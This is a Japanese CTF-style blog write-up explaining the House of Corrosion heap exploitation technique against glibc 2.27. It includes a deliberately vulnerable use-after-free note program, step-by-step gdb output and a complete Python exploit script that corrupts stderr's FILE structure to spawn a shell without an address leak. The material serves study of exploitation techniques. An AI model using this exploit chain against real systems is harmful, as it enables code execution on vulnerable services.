CTFするぞ

CTF以外のことも書くよ

House of Corrosionの解説

はじめに

2019年に入ってからHouse of Corrosionというヒープ系exploitテクニックが公開されたのですが、全然文献が無いのでまとめようと思います。 結構使えると思うし元記事の考察もよく書かれているので個人的に好きな手法です。 ただ、説明が並んでいるだけでPoCとかは無さそうなので、実例を挙げつつ紹介します。

House of Corrosion

やることはglobal_max_fastを書き換えた際にfastbin[i]にデータを書き込める原理を使おう、という話です。

■ 概要

House of CorrosionはGLIBCの2.27向けのヒープ系exploit手法です。

良い点

  • シェルが取れる
  • リークが不要(最後までlibc baseはいらない)

悪い点

  • UAFが必要
  • いい感じにmallocとかfreeできる

汚い点

  • 4ビット分は運ゲー(序盤なので大して問題なし)

説明

House of CorrosionはHouse of Orangeと似ていますが、2.23から2.27の間に追加されたセキュリティ機構の下でも動きます。PIEとASLRが有効で、かつアドレスリークが無い場合にも使え、UAFで最低10バイト(8バイト+bkの下位2バイト)書き込めれたらOKです。やることは

  • UAFで(4-bitは運で当てて)unsorted bin attackしてglobal_max_fastを書き換える
  • stderrのFILEオブジェクトを改竄するためにheap Feng Shui, UAF, fastbin corruptionを上手く使う
  • stderrに何か出力してシェルを取る

だけです ( >_<)b

■ 原理

まずはglobal_max_fastを書き換えることでどうやって任意アドレスに任意データを書き込むかの説明です。個人的にこれだけでも便利なので(fastbin, tcacheサイズのチャンクが確保できないときとか)覚えておくと良いと思います。

原理1

global_max_fastをunsorted bin attackで改竄すると巨大なチャンクもfastbinに入るわけですが、もちろんmain_arenaにはそんな巨大な配列は用意されていません。実際に大きなチャンクをfreeすると(今の場合はfastbinが使われるので)fastbinを超えてbinsとかもっと後ろの場所にアドレスが書き込まれるわけです。このときの計算式は次のように表せます。

chunk size = (delta * 2) + 0x20

たとえば&main_arena->fastbinから0x1000バイト先をいじりたい場合、チャンクサイズが0x820のチャンクをfreeすれば良いわけです。

ここで_int_freeには次のようなチェックがあります。

/* Check that size of fastbin chunk at the top is the same as
   size of the chunk that we are adding.  We can dereference OLD
   only if we have the lock, otherwise it might have already been
   allocated again.  */
if (have_lock && old != NULL
    && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
  malloc_printerr ("invalid fastbin entry (free)");

が、__libc_freehave_lockを0にして_int_freeを呼び出すのでチェックされません。(は?)

原理2

原理1で、適当なサイズのチャンクをfreeすることでfastbin+8*iみたいな場所にfreeしたチャンクのアドレスを書き込めました。次に任意の値をfastbin+8*iに書き込む方法を考えます。これは単純で、UAF(やHeap Overflow)を利用してfreeしたチャンクのfdfd'に書き換えると、fastbinのリンクも書き換わります。その状態で同じサイズのチャンクを1回mallocすると、fastbin+8*ifd'が書き込まれることが分かるでしょう。

原理3

原理2では任意の値をfastbin[i]に書き込みました。次に任意のアドレス(fastbin[j]で表せる範囲)にある値をfastbin+8*iに書き込む方法も考えます。 (原理1で説明したように)先程のfastbin+8*i(以降dstと表記)に繋がるようなサイズの2つのチャンクAとBを用意します。まずチャンクB, Aの順にfreeします。fastbin(dst)は次のようになります。

dst --> A --> B --> ?

UAF(やHeap Overflow)を使い、Aの最下位バイトをAを指すように書き換えます。

dst --> A --> A --> A --> ...

※AやBのサイズは巨大でAの最下位バイトを書き換えるだけではBからAに変えられません。そのため、UAF等を使ってAとBが近いアドレスになるようにあらかじめ普通のfastbin corruptionをしておきましょう。さらにこの時fastbinのサイズチェックに引っかからないように次のチャンクのサイズヘッダ的なものを適当に用意しておくことにも注意してください。(元記事では"safe" valueと呼ばれています。)

とりあえずここまででdouble freeの状況が作れました。(というかdouble freeが無い前提でお話していました。) もう一度Aと同じサイズのチャンクをmallocすると、Aのアドレスを手元に確保しつつ、dstにはAのアドレスが入っている状況になりました。

dst --> A --> A --> ...
手札:A

ここでUAFを使い、値を持ってきたい元のアドレスfastbin+8*j(以降srcと表記)に繋がるようにAのチャンクサイズを変更します。この状態で手札のAをfreeすると、fastbin(src)にAが繋がります。このときもともとsrcに欲しい値があったので、Aに欲しい値(以降valueと表記)が繋がることに注意してください。

src --> A --> value
dst --> A --> value

さらにUAFを使ってAのチャンクサイズをdstに入るようなサイズに戻します。(mallocした時にabortしないように。) ここでdstサイズのチャンクをmallocすると、srcにあったvalueがdstに移植されることが分かるでしょう。

src --> A --> value
dst --> value
手札:A

なお、2つ前のsrcとdstにそれぞれA-->valueが繋がった状態で(UAFで)Aを変更することで、valueを部分的に変更できます。 例えばsrcにあるlibcのどこかのアドレスの下位2バイトを変更して好きな場所に繋げる、といったことが可能になります。 このように途中でvalueの一部分を変更することを元記事では"tamper in-flight"と呼んでいます。

■ シェルが起動する仕組み

ここまででも十分便利そうですが、欲しいのはシェルです。House of Corrosionのおいしい点はアドレスリークが無くても良いという点です。ここまでで説明した原理を使ってシェルを取るまでの流れを説明します。

Stage 1: Heap Feng Shui

Feng Shuiっていうのはpwn分野では初めて聞いたので開発者のオリジナルだと思うのですが、拼音は風水で、元記事では最初に上手いことチャンクをオーバーラップするなど、最初にいい感じにしておく手順を指して使われているようです。 (【追記】昔からあるpwn用語だそうです。Heap feng shui) Heap Feng Shui(Stage 1)でやっておくことは次の5つです。(順番はどうでもいい)

  1. ヒープ上に偽のチャンクサイズを置いておき、あとで怒られないようにする。("safe" values)
  2. (UAFの場合は)チャンクサイズを改竄できるように上手いこと操作しておく。
  3. チャンクをlargebinに入れてサイズを改竄する。
  4. unsorted bin attack用のチャンクをmallocする。
  5. 原理1&2で使う用のチャンクをmallocする。

これで風水的に良いヒープの状態になります。 1と2は良いでしょう。3はサイズ0x420以上のチャンクをfreeしてunsorted binにつなぎ、さらにサイズ0x420以上のチャンクをmallocし、largebinに入ったところでそのチャンクのサイズのNON_MAIN_ARENAビットを立てておきます。これは最後のStageで使うので理由は後で説明します。 4つ目も問題ないでしょう。5つ目は次のStageで使う用のチャンクなので、いろんなサイズのチャンクをmallocしておく必要があります。基本的に0x3b00バイト以内のmallocがあれば問題ないらしいです。細かいサイズはあとで例を挙げて説明します。

Stage 2: Unsorted bin attack

global_max_fastを書き換えましょう。この際4ビットの運ゲーがあります。(正確には1/16よりやや低い確率。)

Stage 3: Fake unsorted chunk

Stage 5で_int_malloc中のassertにわざと引っかかる必要があります。詳しくは後述しますが、ここではunsorted bin attackの後にunsorted binのbkが指すアドレスにある(ヒープ上ではない)チャンク用にサイズとbkを作る必要があります。こいつのサイズはdumped_main_arena_startと被っており、bkフィールドはpedanticと被っています。Stage 1でNON_MAIN_ARENAを立てたチャンクと同じサイズに(原理2で)設定し、bkはどこか書き込み可能なアドレスに(原理1で)しておきましょう。

Stage 4: stderrの改竄

ここが一番大変なステップです。といってもやることは、原理3を用いてstderrを使ったFILE Stream Exploitをするだけです。これ自体はいくつか方法があり、代表的なものは普通にstdoutを使う方法や、exitを呼び出す方法などですが、ここではプログラム中でstderrもstdoutも使われておらず(leakless)、かつexitも呼び出せないという最悪の状態を考えます。 libc-2.27を対象にしているので、stderrを改竄した後に_IO_str_overflowを呼び出すことを目標にします。

※原理3を使うと一時的にvtableが不正なアドレスになり、_IO_str_overflowに到達するまでにクラッシュしてしまいます。そのため、stderrやstdout(対象とするFILE stream)が使われている場合は_modeを1に設定しておくことで出力系が全部失敗するので問題なしです(^o^)b

ということで、ここから原理2&3を使って書き換える値について説明します。

_flags

まずはstderrの_flagsを0にしましょう。理由は以下の2つです。

  • _IO_str_overflowで確実に呼び出し処理まで到達させるため
  • libc-2.27で御用達のone gadgetの1つであるrcx == NULLを満たすため

_IO_str_overflowにはif (fp->_flags & _IO_NO_WRITES)みたいな処理がいくつかあるので、それでreturnしないようにします。また、よく目にするけど使いどころがいまいちなかったrcx == NULLのone gadgetを今回は使います。_IO_str_overflowの中で_flagsからrcxに値がコピーされるらしいです。

_mode

元記事には書いていませんが、前述したようにstreamが使われている場合は1にしましょう。(leakがあるなら普通にwrite ptrを改竄しろという話ですが、とりあえずリモートに流れてこない前提で。)

_IO_write_ptr

これは大きな値にしておきます。_IO_write_base_IO_write_ptrの間の差が大きくないとダメだからです。どのくらい大きいかというと_IO_buf_base_IO_buf_endの差より大きければOKです。(flush_onlyが0なので。)この辺はこっちの記事で真面目に説明したので割愛。stderrが使われていて_IO_write_baseが大きい値になっているときは0にすれば良いと思います。(試してないから怪しいけど。)

_IO_buf_base

最終的には_IO_str_overflowにlibc中のcall rax gadgetを呼ばせるのですが、その際raxがone gadgetになっている必要があります。このときのraxは_IO_buf_base_IO_buf_endの差になるので、_IO_buf_baseにone gadgetのアドレスを入れることになります。もちろんone gadgetのアドレスは存在しないので、原理3を使います。具体的には、__default_morecore()関数のアドレスが__morecoreに置かれているので、原理3でそいつを_IO_buf_endに移します。そして原理2を使って_IO_buf_baseの下位バイトを書き換えてone gadgetのアドレスに持っていきます。(unsorted bin attackが成功した時点で下から2バイト目の上位4ビットは分かっているのでここは運ゲーにならない。)

あとで気づいたのですが、_IO_buf_end__default_morecoreのアドレスにするので_IO_buf_base__default_morecoreとone gadgetの差にしなくてはなりません。ということで原理3は次の_IO_buf_endに使い、ここでは原理2を使います。

pwndbg> x/4xg 0x7ffff79e4000 + 0x4f2c5
0x7ffff7a332c5 <do_system+1045>:        0x310039e3d4358d48      0x894c00000002bfd2
0x7ffff7a332d5 <do_system+1061>:        0x08244c8948502464      0x000000582444c748
pwndbg> x/4xg &__default_morecore 
0x7ffff7a7f190 <__GI___default_morecore>:       0x07b387e808ec8348      0x834800000000ba00
0x7ffff7a7f1a0 <__GI___default_morecore+16>:    0x8348c2440f48fff8      0x0000441f0fc308c4

今回使うlibc-2.27では__default_morecoreの方が0x04becb進んでいるので、_IO_buf_baseを0x04becbに設定すればraxはone gadgetのアドレスになります。

_IO_buf_end

0でいいのでは?元記事ではなぜか頑なにlibcのアドレスを入れようとしている。 よく見たら

if (new_size < old_blen) return EOF;

というチェックがありますね。知らなかったです。 _IO_buf_endが0だとnew_size = old_blen * 2 + 100が負になってダメ判定になるのかな。 とりあえずこいつも__default_morecoreから頂いておきましょう。 ここにlibcのアドレスが入っていることで_IO_buf_baseには差分だけ入れておけばOKです。

vtable

_IO_str_overflowが呼ばれないことには始まらないのでvtableを_IO_str_jumpsに書き換える必要がります。(こっちの記事を参照。)ここでは原理2を使います。もともとvtableには_IO_file_jumpsが入っているので、_IO_file_jumpsに繋がるサイズのチャンクをfreeし、UAFで下位2バイトを書き換えればfdを_IO_str_jumpsに繋げられます。この際stderrのvtableが破壊されるので、stderrが出力される場合は_modeを1にすればOKです。

_s._allocate_buffer

ここまでを正しく設定できれば、_IO_str_overflowfp->_s._allocate_bufferが発火します。こいつはstderrの先頭から0xe0先(vtableの直後)にあります。この場所はstdoutの先頭と被っていますが、そういう仕様らしいです。stdoutが使われている場合は前述したようにstdoutの_modeを1にしておけばstdoutが虚無になって何とかなります。(シェルはspawnするのでそっちが虚無になることはない。)

ここでは先程使った__default_morecore()のアドレスを_IO_buf_endから引っ張ることで1回分mallocが少なく済みます。__default_morecore()周辺にcall raxがあるかという話ですが、とりあえず対象としている(Ubuntu 18.04 LTS)のlibc-2.27には20個ほどあるらしいです。ちなみにjmp raxじゃなくてcall raxな理由はalignされていないとmovapsで死ぬからです。

Stage 5: Force stderr activity

あとはstderrに何か吐き出せばシェルが取れますね。今回はstdoutもstderrも使われていない場合を想定していますが、libcの中にはstderrを使ってくれる場所があります。abortは_IO_flush_all_lockpを呼ばなくなりましたし、malloc_printerrもwriteしてるだけという悲しい変更が加わっていますが、assertは裏切りません。Stage 1でNON_MAIN_ARENAフラグを立てたのですが、それがここで役に立ちます。

/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));

mallocでlargebinから引っ張るときのassertですが、こいつが失敗するのでstderrが使われます。本来なら__xsputnが呼ばれますが、vtableを改竄したので_IO_str_oveflowが呼ばれます。 ちなみにassertの中はこんな感じでstderrをflushしています。

(void) __fxprintf (NULL, "%s", str);
(void) fflush (stderr);

えらい。 あとはここまでの積み重ねでシェルが起動するという感じです。

■ 考察

元記事に書いてあったりなかったりすることを考察します。

__free_hookに直接書き込めないのか

解説を読んでくださった方も途中で気づいたかもしれないのですが、in-flightな書き込みでglibcのアドレスをsystemとかone gadgetに変更して__free_hookに直接入れれば良いんじゃね?って話です。 しかしよく考えたら、原理3の利用中に__free_hookがヒープのアドレスなどに書き換わるので、原理3中で使うfreeが失敗して死にます。__malloc_hookも同じです。 バイナリ中でmallocと独立にreallocなどが使われていたらそれは使えると思います。

なぜcall raxなのか

シェルを取るために__IO_str_overflowからcall raxを呼びました。これは__default_morecoreの近くにone gadgetが無いからです。 なぜjmp raxじゃないかというと、movupsではなくmovapsを使っているからです。callを使うと良い具合にスタックがalignされるんですね。

検証

とりあえずstdoutもstderrも使わないバイナリを用意しました。

https://bitbucket.org/ptr-yudai/house-of-corrosion/src/master/

mallocできるサイズは0x7fffffffまでなので、House of Rabbitも使えません。(というか既知アドレスが無い時点で無理か。)UAFがありますが、解説したような「つらい状況」を作りました。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_NOTE 0x40

typedef struct {
  char *ptr;
  int  size;
  char is_used;
} Note;

Note note[MAX_NOTE] = { NULL };

void readline(char *buf, int size) {
  if (read(0, buf, size) == 0) _exit(0);
}

int read_int(void) {
  char buf[0x20];
  memset(buf, 0, 0x20);
  readline(buf, 0x1f);
  return atoi(buf);
}

void add(void) {
  int index = read_int();
  int size  = read_int();
  if (index < 0 || index >= MAX_NOTE) return;
  if (size < 0) return;
  if (note[index].is_used == 0) {
    note[index].ptr = (char*)malloc(size);
    note[index].size = size;
    note[index].is_used = 1;
  }
}

void edit(void) {
  int index = read_int();
  if (index < 0 || index >= MAX_NOTE) return;
  if (read(0, note[index].ptr, note[index].size) == 0) _exit(0);
}

void delete(void) {
  int index = read_int();
  if (index < 0 || index >= MAX_NOTE) return;
  if (note[index].is_used == 1) {
    free(note[index].ptr);
    note[index].is_used = 0;
  }
}

int main(void) {
  while(1) {
    int choice = read_int();
    switch(choice) {
    case 1: add(); break;
    case 2: edit(); break;
    case 3: delete(); break;
    }
  }
  return 0;
}

Stage 1

まずは下ごしらえ。とりあえずunsorted bin attack用のチャンクと、NON_MAIN_ARENAを後で1にするチャンクを用意します。

# chunk for unsortedbin attack
add(0, 0x420)
# chunk with NON_MAIN_ARENA set to 1
add(3, 0x420)
add(1, 0x420)
delete(1)
delete(3)
add(3, 0x430)
add(2, 0x430)

やるだけなので詳細は割愛。 あとはfastbinで使う場所を押さえておく必要があります。解説で使ったアドレスをまとめると、次の場所に向けてチャンクを押さえる必要があります。

  • dumped_main_arena_start: 0x7ffff7dd1938 - 0x7ffff7dcfc50
  • pedantic: 0x7ffff7dd1948 - 0x7ffff7dcfc50
  • __morecore: 0x7ffff7dd04d8 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0x00: 0x7ffff7dd0680 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0x28: 0x7ffff7dd0680 + 0x28 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0x38: 0x7ffff7dd0680 + 0x38 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0x40: 0x7ffff7dd0680 + 0x40 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0xd8: 0x7ffff7dd0680 + 0xd8 - 0x7ffff7dcfc50
  • _IO_2_1_stderr_+0xe0: 0x7ffff7dd0680 + 0xe0 - 0x7ffff7dcfc50

offsetからmallocすべきサイズに変換してくれる関数を作っておきます。 また、原理3に向けて2つのチャンクAとBを近いアドレスに配置する関数overlapも用意します。

def offset2size(offset):
    assert offset % 8 == 0
    return (offset * 2) + 0x10
def overlap(A, B, tmp1, tmp2, size, pos):
    add(tmp1, 0x40)
    add(A, 0x10)
    add(B, 0x10)
    add(tmp2, 0x40)
    delete(tmp1)
    delete(tmp2)
    edit(tmp2, pos)
    add(tmp1, 0x40)
    add(tmp2, 0x40)
    payload  = p64(0) + p64((size+0x10) | 1)
    payload += b'A' * 8
    payload += p64(0) + p64((size+0x10) | 1)
    edit(tmp2, payload)
    return

## prepare
add(4, size_pedantic)
add(5, size_dumped_main_arena_start)
add(6, size_flags)
add(7, size_write_ptr)
add(8, size_buf_base)
add(13, size_vtable)
overlap(9, 10, 11, 12, size_buf_end, b'\xc0')
overlap(14, 15, 16, 17, size_s_alloc, b'\xa0')

原理1&2はUAFで直接書き換えられるので、overlapする必要があるのは原理3を使うものだけです。 unsorted bin attack後にBとAを順次freeすればfdに入るアドレスはB≒Aになります。 また、fastbinでfreeすると次のチャンクのサイズを調べられるので、次のように偽のチャンクを置いておきましょう。

payload = p64(0) + p64(0x21)
payload *= 0x200
add(18, len(payload))
edit(18, payload)

後で__morecoreとかに合わせるのも面倒なので全部サイズっぽくしておきました。 最後にchunk 2をfreeしてlargebinにつなぎ、NON_MAIN_ARENAフラグを立てます。

# link to largebin and set NON_MAIN_ARENA
delete(2)
edit(1, p64(0) + p64(0x440 | 0b101)) # set 2's NON_MAIN_ARENA to 1

gdbでlargebinとチャンクの様子を見ます。

pwndbg> largebins 
largebins
0x1400: 0x555555756ac0 —▸ 0x7ffff7dd02e0 (main_arena+1696) ◂— 0x555555756ac0
pwndbg> x/6xg 0x555555756ac0
0x555555756ac0: 0x0000000000000000      0x0000000000001445
0x555555756ad0: 0x00007ffff7dd02e0      0x00007ffff7dd02e0
0x555555756ae0: 0x0000555555756ac0      0x0000555555756ac0

ヨシ!

Stage 2

これはやるだけ。 guessは4ビットって言ったんですがASLR切るとちょうど嫌な場所に当たるんですよねー。いっつも迷惑してるんですがこれ何とかならないんですか?

delete(0)
edit(0, p64(0) + b'\x30\x19\xdd') # edit(0, p64(0) + b'\x30\x29')
add(0, 0x420)

一応確認しておきます。

pwndbg> x/4xg &global_max_fast
0x7ffff7dd1940 <global_max_fast>:       0x00007ffff7dcfca0      0x0000000000000000
0x7ffff7dd1950 <root>:  0x0000000000000000      0x0000000000000000

ヨシ!

Stage 3

原理1と2を使います。今回unsorted bin attack用のチャンクサイズは0x430なので、dumped_main_arena_startには0x440を入れておきましょう。 また、pedanticは普通にfreeすれば書き込み可能アドレスが入るのでOKです。

# write 0x440 to dumped_main_arena_end
delete(5)
edit(5, p64(0x440))
add(5, size_dumped_main_arena_start)
# set pedantic to writable pointer
delete(4) # free for pedantic

確認します。

pwndbg4xg 0x7ffff7dd1930
0x7ffff7dd1930 <dumped_main_arena_end>: 0x0000000000000000      0x0000000000000440
0x7ffff7dd1940 <global_max_fast>:       0x00007ffff7dcfca0      0x0000555555756f00

ヨシ!

Stage 4

Stage 4はやることが多すぎますが、地道に1つずつ潰していきましょう。今回は_modeを書き換える必要はありません。 まずは_IO_2_1_stderr_の初期状態を確認します。

pwndbg> x/16xg &_IO_2_1_stderr_ 
0x7ffff7dd0680 <_IO_2_1_stderr_>:       0x00000000fbad2084      0x0000000000000000
0x7ffff7dd0690 <_IO_2_1_stderr_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06a0 <_IO_2_1_stderr_+32>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06b0 <_IO_2_1_stderr_+48>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06c0 <_IO_2_1_stderr_+64>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06d0 <_IO_2_1_stderr_+80>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06e0 <_IO_2_1_stderr_+96>:    0x0000000000000000      0x00007ffff7dd0760
0x7ffff7dd06f0 <_IO_2_1_stderr_+112>:   0x0000000000000002      0xffffffffffffffff

まぁ使ってないのでそうですね、という感じです。 とりあえず原理1と2を使うものは簡単なので先にやります。

# write 0 to _flags
delete(6)
edit(6, p64(0))
add(6, size_flags)
# write large value to _IO_write_ptr
delete(7)
edit(7, p64(0x7fffffffffffffff))
add(7, size_write_ptr)
# write offset to _IO_buf_base
offset = 0x7ffff7a7f190 - 0x7ffff7a332c5 # __default_morecore - one gadget
delete(8)
edit(8, p64(offset))
add(8, size_buf_base)

確認します。

pwndbg> x/16xg &_IO_2_1_stderr_ 
0x7ffff7dd0680 <_IO_2_1_stderr_>:       0x0000000000000000      0x0000000000000000
0x7ffff7dd0690 <_IO_2_1_stderr_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06a0 <_IO_2_1_stderr_+32>:    0x0000000000000000      0x7fffffffffffffff
0x7ffff7dd06b0 <_IO_2_1_stderr_+48>:    0x0000000000000000      0x000000000004becb
0x7ffff7dd06c0 <_IO_2_1_stderr_+64>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06d0 <_IO_2_1_stderr_+80>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06e0 <_IO_2_1_stderr_+96>:    0x0000000000000000      0x00007ffff7dd0760
0x7ffff7dd06f0 <_IO_2_1_stderr_+112>:   0x0000000000000002      0xffffffffffffffff

ヨシ!

_s._allocate_bufferに書き込むcall rax\xff\xd0なので__default_morecore周辺を探しておきましょう。

pwndbg> find /2b 0x7ffff7a70000, 0x7ffff7a7ffff, 0xff,0xd0
0x7ffff7a71610 <__GI__IO_un_link+80>
0x7ffff7a717d7 <__GI__IO_un_link+535>
2 patterns found.
pwndbg> x/1i 0x7ffff7a71610
   0x7ffff7a71610 <__GI__IO_un_link+80>:        call   rax

gadgetが20個存在するとは......? とにかく次に原理3を使って_IO_buf_end, _s._allocate_bufferを改竄し、また原理2でvtable_IO_str_jumpsに向けます。

# write &__default_morecore to _IO_buf_end
delete(10)
delete(9)
edit(9, b'\xc0')
add(9, size_buf_end)
edit(12, p64(0) + p64((size_morecore+0x10) | 1))
delete(9)
edit(12, p64(0) + p64((size_buf_end+0x10) | 1))
add(9, size_buf_end)
edit(12, p64(0) + p64((size_morecore+0x10) | 1))
add(10, size_morecore) # pop back __default_morecore
# write &_IO_str_jumps to vtable
delete(13)
edit(13, b'\x60\xc3') # edit(13, b'\x60\xd3')
add(13, size_vtable)
# write call rax gadget to _s._allocate_buffer
delete(15)
delete(14)
edit(14, b'\xa0')
add(14, size_s_alloc)
edit(17, p64(0) + p64((size_morecore+0x10) | 1))
delete(14)
edit(17, p64(0) + p64((size_s_alloc+0x10) | 1))
edit(14, b'\x10\x16') # edit(14, b'\x10\x17')
add(14, size_s_alloc)

確認してみましょう。

pwndbg> x/32xg &_IO_2_1_stderr_ 
0x7ffff7dd0680 <_IO_2_1_stderr_>:       0x0000000000000000      0x0000000000000000
0x7ffff7dd0690 <_IO_2_1_stderr_+16>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06a0 <_IO_2_1_stderr_+32>:    0x0000000000000000      0x7fffffffffffffff
0x7ffff7dd06b0 <_IO_2_1_stderr_+48>:    0x0000000000000000      0x000000000004becb
0x7ffff7dd06c0 <_IO_2_1_stderr_+64>:    0x00007ffff7a7f190      0x0000000000000000
0x7ffff7dd06d0 <_IO_2_1_stderr_+80>:    0x0000000000000000      0x0000000000000000
0x7ffff7dd06e0 <_IO_2_1_stderr_+96>:    0x0000000000000000      0x00007ffff7dd0760
0x7ffff7dd06f0 <_IO_2_1_stderr_+112>:   0x0000000000000002      0xffffffffffffffff
0x7ffff7dd0700 <_IO_2_1_stderr_+128>:   0x0000000000000000      0x00007ffff7dd18b0
0x7ffff7dd0710 <_IO_2_1_stderr_+144>:   0xffffffffffffffff      0x0000000000000000
0x7ffff7dd0720 <_IO_2_1_stderr_+160>:   0x00007ffff7dcf780      0x0000000000000000
0x7ffff7dd0730 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd0740 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
0x7ffff7dd0750 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x00007ffff7dcc360
0x7ffff7dd0760 <_IO_2_1_stdout_>:       0x00007ffff7a71610      0x0000000000000000
0x7ffff7dd0770 <_IO_2_1_stdout_+16>:    0x0000000000000000      0x0000000000000000
pwndbg> x/1xg 0x00007ffff7a7f190
0x7ffff7a7f190 <__GI___default_morecore>:       0x07b387e808ec8348
pwndbg> x/1i 0x00007ffff7a71610
   0x7ffff7a71610 <__GI__IO_un_link+80>:        call   rax
pwndbg> x/1xg 0x00007ffff7dcc360
0x7ffff7dcc360 <_IO_str_jumps>: 0x0000000000000000

ええやん。

Stage 5

heap問にはよくexit選択肢が存在しますが、今回は存在しないので明示的にexitを呼べません。したがって、stderrにassertで出力してやる必要があります。 いま先頭のunsorted binにはStage 3で偽装した適切なサイズとbkが入っています。そこでunsorted binを使うようなmallocが来たらassertが発生するはずです。 unsorted binを使わせるにはfastbinが空のチャンクを使う必要があります。 ここでしばらく詰まったのですが、普通に(fastbinが空の)小さいチャンクをmallocすればlargebinのチェックに入るのでassertが発動してone gadgetが発火します。

add(19, 0x30)

全体像

ということで全体のexploitコードはこんな感じになりました。

from ptrlib import *
from time import sleep

WAIT = 0.01
def add(index, size):
    sock.sendline("1")
    sleep(WAIT)
    sock.sendline(str(index))
    sleep(WAIT)
    sock.sendline(str(size))
    sleep(WAIT)
    return
def edit(index, data):
    sock.sendline("2")
    sleep(WAIT)
    sock.sendline(str(index))
    sleep(WAIT)
    sock.send(data)
    sleep(WAIT)
    return
def delete(index):
    sock.sendline("3")
    sleep(WAIT)
    sock.sendline(str(index))
    sleep(WAIT)
    return

def offset2size(offset):
    assert offset % 8 == 0
    return (offset * 2) + 0x10
def overlap(A, B, tmp1, tmp2, size, pos):
    add(tmp1, 0x40)
    add(A, 0x10)
    add(B, 0x10)
    add(tmp2, 0x40)
    delete(tmp1)
    delete(tmp2)
    edit(tmp2, pos)
    add(tmp1, 0x40)
    add(tmp2, 0x40)
    payload  = p64(0) + p64((size+0x10) | 1)
    payload += b'A' * 0x10
    payload += p64(0) + p64((size+0x10) | 1)
    edit(tmp2, payload)
    return

sock = Process("../distfiles/chall")

size_dumped_main_arena_start = offset2size(0x7ffff7dd1938 - 0x7ffff7dcfc50)
size_pedantic = offset2size(0x7ffff7dd1948 - 0x7ffff7dcfc50)
size_morecore = offset2size(0x7ffff7dd04d8 - 0x7ffff7dcfc50)
size_flags = offset2size(0x7ffff7dd0680 - 0x7ffff7dcfc50)
size_write_ptr = offset2size(0x7ffff7dd0680 + 0x28 - 0x7ffff7dcfc50)
size_buf_base = offset2size(0x7ffff7dd0680 + 0x38 - 0x7ffff7dcfc50)
size_buf_end = offset2size(0x7ffff7dd0680 + 0x40 - 0x7ffff7dcfc50)
size_vtable = offset2size(0x7ffff7dd0680 + 0xd8 - 0x7ffff7dcfc50)
size_s_alloc = offset2size(0x7ffff7dd0680 + 0xe0 - 0x7ffff7dcfc50)

""" Stage 1: heap Feng Shui """
# chunk for unsortedbin attack
add(0, 0x420)
# chunk for largebin
add(3, 0x420)
add(1, 0x420)
delete(1)
delete(3)
add(3, 0x430)
add(2, 0x430)
## prepare
add(4, size_pedantic)
add(5, size_dumped_main_arena_start)
add(6, size_flags)
add(7, size_write_ptr)
add(8, size_buf_base)
add(13, size_vtable)
overlap(9, 10, 11, 12, size_buf_end, b'\xc0')
overlap(14, 15, 16, 17, size_s_alloc, b'\xa0')
payload = p64(0) + p64(0x21)
payload *= 0x200
add(18, len(payload))
edit(18, payload)
# link to largebin and set NON_MAIN_ARENA
delete(2)
edit(1, p64(0) + p64(0x440 | 0b101)) # set 2's NON_MAIN_ARENA to 1

""" Stage 2: unsortedbin attack """
delete(0)
edit(0, p64(0) + b'\x30\x19\xdd') # edit(0, p64(0) + b'\x30\x29')
add(0, 0x420)

""" Stage 3: fake unsortedbin """
# write 0x440 to dumped_main_arena_end
delete(5)
edit(5, p64(0x440))
add(5, size_dumped_main_arena_start)
# set pedantic to writable pointer
delete(4) # free for pedantic

""" Stage 4: tampering stderr """
# write 0 to _flags
delete(6)
edit(6, p64(0))
add(6, size_flags)
# write large value to _IO_write_ptr
delete(7)
edit(7, p64(0x7fffffffffffffff))
add(7, size_write_ptr)
# write offset to _IO_buf_base
offset = 0x7ffff7a7f190 - 0x7ffff7a332c5 # __default_morecore - one gadget
delete(8)
edit(8, p64(offset))
add(8, size_buf_base)
# write &__default_morecore to _IO_buf_end
delete(10)
delete(9)
edit(9, b'\xc0')
add(9, size_buf_end)
edit(12, p64(0) + p64((size_morecore+0x10) | 1))
delete(9)
edit(12, p64(0) + p64((size_buf_end+0x10) | 1))
add(9, size_buf_end)
edit(12, p64(0) + p64((size_morecore+0x10) | 1))
add(10, size_morecore) # pop back __default_morecore
# write &_IO_str_jumps to vtable
delete(13)
edit(13, b'\x60\xc3') # edit(13, b'\x60\xd3')
add(13, size_vtable)
# write call rax gadget to _s._allocate_buffer
delete(15)
delete(14)
edit(14, b'\xa0')
add(14, size_s_alloc)
edit(17, p64(0) + p64((size_morecore+0x10) | 1))
delete(14)
edit(17, p64(0) + p64((size_s_alloc+0x10) | 1))
edit(14, b'\x10\x16') # edit(14, b'\x10\x17')
add(14, size_s_alloc)

""" Stage 5: force stderr activity """
add(19, 0x30)

sock.interactive()

いぇい v(^^)v

$ python solve.py 
[+] __init__: Successfully created new process (PID=16250)
[ptrlib]$ id
uid=1000(ptr) gid=1000(ptr) groups=1000(ptr),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),999(docker)
[ptrlib]$

参考文献

記事は本家しか見つかりませんでした。

github.com